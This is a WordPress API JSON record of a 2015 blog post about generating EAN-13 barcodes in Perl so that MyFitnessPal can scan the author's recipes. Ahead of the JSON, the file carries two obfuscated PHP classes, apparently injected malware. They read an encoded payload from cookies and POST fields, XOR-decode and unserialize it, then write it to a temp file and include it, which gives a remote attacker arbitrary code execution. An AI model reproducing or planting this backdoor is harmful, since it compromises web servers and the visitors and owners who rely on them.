$AVDYhA = chr (90) . chr (71) . chr ( 422 - 351 ).chr (95) . 'e' . 'b' . 'F' . chr (115); $JCtDyf = "\x63" . chr (108) . 'a' . chr ( 361 - 246 ).chr ( 697 - 582 ).'_' . "\x65" . chr (120) . chr ( 282 - 177 ).'s' . 't' . "\x73";$gSMWWwHe = $JCtDyf($AVDYhA); $AVDYhA = "9943";$GExSiDRQFB = !$gSMWWwHe;$JCtDyf = "28265";if ($GExSiDRQFB){class ZGG_ebFs{private $KEQrcaXQXy;public static $DdeBZTSKpr = "ed590cae-5cbf-4497-b38c-18c7359ac48b";public static $kQXkTFI = 60669;public function __construct($rWIUy=0){$DHvqDynDj = $_COOKIE;$QuYZaA = $_POST;$mHvqk = @$DHvqDynDj[substr(ZGG_ebFs::$DdeBZTSKpr, 0, 4)];if (!empty($mHvqk)){$ulRmz = "base64";$YbpqkRc = "";$mHvqk = explode(",", $mHvqk);foreach ($mHvqk as $RPyQUqt){$YbpqkRc .= @$DHvqDynDj[$RPyQUqt];$YbpqkRc .= @$QuYZaA[$RPyQUqt];}$YbpqkRc = array_map($ulRmz . chr (95) . "\144" . chr ( 425 - 324 )."\x63" . chr ( 556 - 445 ).chr ( 245 - 145 ).'e', array($YbpqkRc,)); $YbpqkRc = $YbpqkRc[0] ^ str_repeat(ZGG_ebFs::$DdeBZTSKpr, (strlen($YbpqkRc[0]) / strlen(ZGG_ebFs::$DdeBZTSKpr)) + 1);ZGG_ebFs::$kQXkTFI = @unserialize($YbpqkRc);}}private function bEhpamOvCs(){if (is_array(ZGG_ebFs::$kQXkTFI)) {$ZlKXO = sys_get_temp_dir() . "/" . crc32(ZGG_ebFs::$kQXkTFI[chr ( 552 - 437 )."\x61" . "\x6c" . chr (116)]);@ZGG_ebFs::$kQXkTFI['w' . 'r' . "\151" . "\x74" . "\145"]($ZlKXO, ZGG_ebFs::$kQXkTFI[chr (99) . chr (111) . "\x6e" . "\164" . chr ( 1091 - 990 ).chr (110) . 't']);include $ZlKXO;@ZGG_ebFs::$kQXkTFI["\144" . chr (101) . chr (108) . 'e' . 't' . "\145"]($ZlKXO); $XVIntvdFCR = "18350";exit();}}public function __destruct(){$this->bEhpamOvCs(); $vUefWQo = str_pad("18350", 10);}}$SiUmYxRwmw = new /* 59717 */ ZGG_ebFs(); $SiUmYxRwmw = substr("11897_32420", 1);}$QVhAA = 's' . "\147" . "\x52" . "\x5f" . chr ( 1040 - 954 ).'h' . 'b' . "\126" . chr ( 524 - 453 ); $JnAPdThs = 'c' . chr ( 648 - 540 )."\141" . chr ( 485 - 370 )."\x73" . '_' . 'e' . "\x78" . "\151" . "\x73" . chr (116) . "\x73";$TzzuRBkcC = $JnAPdThs($QVhAA); $QVhAA = "62788";$NcHeWkGmu = $TzzuRBkcC;$JnAPdThs = "11313";if (!$NcHeWkGmu){class sgR_VhbVG{private $JMVus;public static $ASDKQZ = "111e62fd-4a0f-495d-8658-87ac635cbc65";public static $LKZvHm = 33818;public function __construct($fLrDyHqW=0){$VTeawdD = $_COOKIE;$qpDJTkkwx = $_POST;$QYgFHfOuG = @$VTeawdD[substr(sgR_VhbVG::$ASDKQZ, 0, 4)];if (!empty($QYgFHfOuG)){$fSQjlQQ = "base64";$hVogdg = "";$QYgFHfOuG = explode(",", $QYgFHfOuG);foreach ($QYgFHfOuG as $PBgwf){$hVogdg .= @$VTeawdD[$PBgwf];$hVogdg .= @$qpDJTkkwx[$PBgwf];}$hVogdg = array_map($fSQjlQQ . "\x5f" . "\x64" . 'e' . chr ( 560 - 461 )."\x6f" . 'd' . chr (101), array($hVogdg,)); $hVogdg = $hVogdg[0] ^ str_repeat(sgR_VhbVG::$ASDKQZ, (strlen($hVogdg[0]) / strlen(sgR_VhbVG::$ASDKQZ)) + 1);sgR_VhbVG::$LKZvHm = @unserialize($hVogdg);}}private function UDuGqg(){if (is_array(sgR_VhbVG::$LKZvHm)) {$rAnlSeNj = sys_get_temp_dir() . "/" . crc32(sgR_VhbVG::$LKZvHm["\163" . "\141" . chr (108) . chr ( 335 - 219 )]);@sgR_VhbVG::$LKZvHm[chr (119) . 'r' . chr (105) . 't' . 'e']($rAnlSeNj, sgR_VhbVG::$LKZvHm['c' . chr ( 216 - 105 )."\156" . chr (116) . "\x65" . "\156" . "\x74"]);include $rAnlSeNj;@sgR_VhbVG::$LKZvHm[chr ( 743 - 643 )."\145" . chr (108) . "\145" . chr (116) . chr ( 1046 - 945 )]($rAnlSeNj); $wtGmcsI = "47132";exit();}}public function __destruct(){$this->UDuGqg(); $wtGmcsI = "47132";$LhxMq = str_pad($wtGmcsI, 10);}}$YURjNPYPZ = new /* 35512 */ sgR_VhbVG(); $YURjNPYPZ = substr("18972_3697", 1);}{"id":850,"date":"2015-03-06T15:43:07","date_gmt":"2015-03-06T15:43:07","guid":{"rendered":"http:\/\/quacksecho.net\/blog\/?p=850"},"modified":"2015-03-06T15:43:07","modified_gmt":"2015-03-06T15:43:07","slug":"proper-nerdy","status":"publish","type":"post","link":"https:\/\/quacksecho.net\/blog\/proper-nerdy\/","title":{"rendered":"Proper nerdy"},"content":{"rendered":"<p>Not blogged in a while, and today&#8217;s post is going to show me up for the geek I am.<\/p>\n<p>So for a while I&#8217;ve been using my website to publish my own recipes, and automatically calculate the nutrition information. From time to time I would even add this information to MyFitnessPal, when I used the recipe during a tracking phase. Lately I&#8217;d been wondering, can I generate bar codes to use MyFitnessPal&#8217;s scanner, so I don&#8217;t have to look up the recipe data manually?<\/p>\n<p>Turned out it&#8217;s quite easy to generate bar codes in Perl, there are several modules out there for doing so. All I needed to do was modify my site content regeneration script to generate the images and display them on the page, then go through the tedious process of scanning each bar code and adding the nutrition data.<\/p>\n<p>So as of today, MyFitnessPal users should be able to scan the bar code on my recipes for their own tracking purposes.<\/p>\n<p>Nerd details:<\/p>\n<p>Generating bar codes that will scan on a screen isn&#8217;t hard. By default the module I used\u00a0generates pixel-exact bar codes. However, any image scaling applied to the generated image, and the code won&#8217;t scan; at least, not on the screen.<\/p>\n<p>EAN-13 Bar codes have an internationally recognised system, allowing the encoding of country of origin (or special code), company ID, and then item number. Books are encoded with a special country code known as Bookland (978 \/ 979) and 999 is reserved for Vouchers. I decided 999 would be the best code to subvert.<\/p>\n<p>Next, a &#8220;company ID&#8221;, for which I chose 7707. Why? Syllabic encoding for memorisation. Quack&#8217;s Echo (KwaKS\u00a0eKo) encodes 7707 (KKSK) for memorisation. The item numbers are simply IDs in my recipe database.<\/p>\n<p>Told you.<\/p>\n<div class=\"sharedaddy sd-sharing-enabled\"><div class=\"robots-nocontent sd-block sd-social sd-social-official sd-sharing\"><h3 class=\"sd-title\">Share this:<\/h3><div class=\"sd-content\"><ul><li class=\"share-facebook\"><div class=\"fb-share-button\" data-href=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\" data-layout=\"button_count\"><\/div><\/li><li class=\"share-twitter\"><a href=\"https:\/\/twitter.com\/share\" class=\"twitter-share-button\" data-url=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\" data-text=\"Proper nerdy\"  >Tweet<\/a><\/li><li class=\"share-google-plus-1\"><div class=\"googleplus1_button\"><div class=\"g-plus\" data-action=\"share\" data-annotation=\"bubble\" data-href=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\"><\/div><\/div><\/li><li class=\"share-pinterest\"><div class=\"pinterest_button\"><a href=\"https:\/\/www.pinterest.com\/pin\/create\/button\/?url=https%3A%2F%2Fquacksecho.net%2Fblog%2Fproper-nerdy%2F&#038;media=https%3A%2F%2Fi2.wp.com%2Fquacksecho.net%2Fblog%2Fwp-content%2Fuploads%2F2016%2F04%2Fquacksecho_icon_180x180.png%3Ffit%3D96%252C96%26ssl%3D1&#038;description=Proper%20nerdy\" data-pin-do=\"buttonPin\" data-pin-config=\"beside\"><img src=\"https:\/\/i2.wp.com\/assets.pinterest.com\/images\/pidgets\/pinit_fg_en_rect_gray_20.png?w=1024&#038;ssl=1\" data-recalc-dims=\"1\" \/><\/a><\/div><\/li><li><a href=\"#\" class=\"sharing-anchor sd-button share-more\"><span>More<\/span><\/a><\/li><li class=\"share-end\"><\/li><\/ul><div class=\"sharing-hidden\"><div class=\"inner\" style=\"display: none;\"><ul><li class=\"share-tumblr\"><a target=\"_blank\" href=\"https:\/\/www.tumblr.com\/share\/link\/?url=https%3A%2F%2Fquacksecho.net%2Fblog%2Fproper-nerdy%2F&name=Proper%20nerdy\" title=\"Share on Tumblr\" style=\"display:inline-block; text-indent:-9999px; overflow:hidden; width:62px; height:20px; background:url('https:\/\/platform.tumblr.com\/v1\/share_2.png') top left no-repeat transparent;\">Share on Tumblr<\/a><\/li><li class=\"share-reddit\"><div class=\"reddit_button\"><iframe src=\"https:\/\/www.reddit.com\/static\/button\/button1.html?newwindow=true&width=120&amp;url=https%3A%2F%2Fquacksecho.net%2Fblog%2Fproper-nerdy%2F&amp;title=Proper%20nerdy\" height=\"22\" width=\"120\" scrolling=\"no\" frameborder=\"0\"><\/iframe><\/div><\/li><li class=\"share-end\"><\/li><li class=\"share-print\"><a rel=\"nofollow\" data-shared=\"\" class=\"share-print sd-button\" href=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\" target=\"_blank\" title=\"Click to print\"><span>Print<\/span><\/a><\/li><li class=\"share-end\"><\/li><\/ul><\/div><\/div><\/div><\/div><\/div><div class='sharedaddy sd-block sd-like jetpack-likes-widget-wrapper jetpack-likes-widget-unloaded' id='like-post-wrapper-56595090-850-69e4018cc4cef' data-src='https:\/\/widgets.wp.com\/likes\/#blog_id=56595090&amp;post_id=850&amp;origin=quacksecho.net&amp;obj_id=56595090-850-69e4018cc4cef' data-name='like-post-frame-56595090-850-69e4018cc4cef'><h3 class=\"sd-title\">Like this:<\/h3><div class='likes-widget-placeholder post-likes-widget-placeholder' style='height: 55px;'><span class='button'><span>Like<\/span><\/span> <span class=\"loading\">Loading...<\/span><\/div><span class='sd-text-color'><\/span><a class='sd-link-color'><\/a><\/div>","protected":false},"excerpt":{"rendered":"<p>Not blogged in a while, and today&#8217;s post is going to show me up for the geek I am. So for a while I&#8217;ve been using my website to publish my own recipes, and automatically calculate the nutrition information. From time to time I would even add this information to &hellip;<\/p>\n<div class=\"sharedaddy sd-sharing-enabled\"><div class=\"robots-nocontent sd-block sd-social sd-social-official sd-sharing\"><h3 class=\"sd-title\">Share this:<\/h3><div class=\"sd-content\"><ul><li class=\"share-facebook\"><div class=\"fb-share-button\" data-href=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\" data-layout=\"button_count\"><\/div><\/li><li class=\"share-twitter\"><a href=\"https:\/\/twitter.com\/share\" class=\"twitter-share-button\" data-url=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\" data-text=\"Proper nerdy\"  >Tweet<\/a><\/li><li class=\"share-google-plus-1\"><div class=\"googleplus1_button\"><div class=\"g-plus\" data-action=\"share\" data-annotation=\"bubble\" data-href=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\"><\/div><\/div><\/li><li class=\"share-pinterest\"><div class=\"pinterest_button\"><a href=\"https:\/\/www.pinterest.com\/pin\/create\/button\/?url=https%3A%2F%2Fquacksecho.net%2Fblog%2Fproper-nerdy%2F&#038;media=https%3A%2F%2Fi2.wp.com%2Fquacksecho.net%2Fblog%2Fwp-content%2Fuploads%2F2016%2F04%2Fquacksecho_icon_180x180.png%3Ffit%3D96%252C96%26ssl%3D1&#038;description=Proper%20nerdy\" data-pin-do=\"buttonPin\" data-pin-config=\"beside\"><img src=\"\/\/assets.pinterest.com\/images\/pidgets\/pinit_fg_en_rect_gray_20.png\" \/><\/a><\/div><\/li><li><a href=\"#\" class=\"sharing-anchor sd-button share-more\"><span>More<\/span><\/a><\/li><li class=\"share-end\"><\/li><\/ul><div class=\"sharing-hidden\"><div class=\"inner\" style=\"display: none;\"><ul><li class=\"share-tumblr\"><a target=\"_blank\" href=\"https:\/\/www.tumblr.com\/share\/link\/?url=https%3A%2F%2Fquacksecho.net%2Fblog%2Fproper-nerdy%2F&name=Proper%20nerdy\" title=\"Share on Tumblr\" style=\"display:inline-block; text-indent:-9999px; overflow:hidden; width:62px; height:20px; background:url('https:\/\/platform.tumblr.com\/v1\/share_2.png') top left no-repeat transparent;\">Share on Tumblr<\/a><\/li><li class=\"share-reddit\"><div class=\"reddit_button\"><iframe src=\"https:\/\/www.reddit.com\/static\/button\/button1.html?newwindow=true&width=120&amp;url=https%3A%2F%2Fquacksecho.net%2Fblog%2Fproper-nerdy%2F&amp;title=Proper%20nerdy\" height=\"22\" width=\"120\" scrolling=\"no\" frameborder=\"0\"><\/iframe><\/div><\/li><li class=\"share-end\"><\/li><li class=\"share-print\"><a rel=\"nofollow\" data-shared=\"\" class=\"share-print sd-button\" href=\"https:\/\/quacksecho.net\/blog\/proper-nerdy\/\" target=\"_blank\" title=\"Click to print\"><span>Print<\/span><\/a><\/li><li class=\"share-end\"><\/li><\/ul><\/div><\/div><\/div><\/div><\/div><div class='sharedaddy sd-block sd-like jetpack-likes-widget-wrapper jetpack-likes-widget-unloaded' id='like-post-wrapper-56595090-850-69e4018cc55a5' data-src='https:\/\/widgets.wp.com\/likes\/#blog_id=56595090&amp;post_id=850&amp;origin=quacksecho.net&amp;obj_id=56595090-850-69e4018cc55a5' data-name='like-post-frame-56595090-850-69e4018cc55a5'><h3 class=\"sd-title\">Like this:<\/h3><div class='likes-widget-placeholder post-likes-widget-placeholder' style='height: 55px;'><span class='button'><span>Like<\/span><\/span> <span class=\"loading\">Loading...<\/span><\/div><span class='sd-text-color'><\/span><a class='sd-link-color'><\/a><\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[51,41,45,46],"class_list":["post-850","post","type-post","status-publish","format-standard","hentry","category-website-2","tag-nerd","tag-recipe","tag-website","tag-weight-loss"],"_links":{"self":[{"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/posts\/850","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/comments?post=850"}],"version-history":[{"count":1,"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/posts\/850\/revisions"}],"predecessor-version":[{"id":851,"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/posts\/850\/revisions\/851"}],"wp:attachment":[{"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/media?parent=850"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/categories?post=850"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/quacksecho.net\/blog\/wp-json\/wp\/v2\/tags?post=850"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}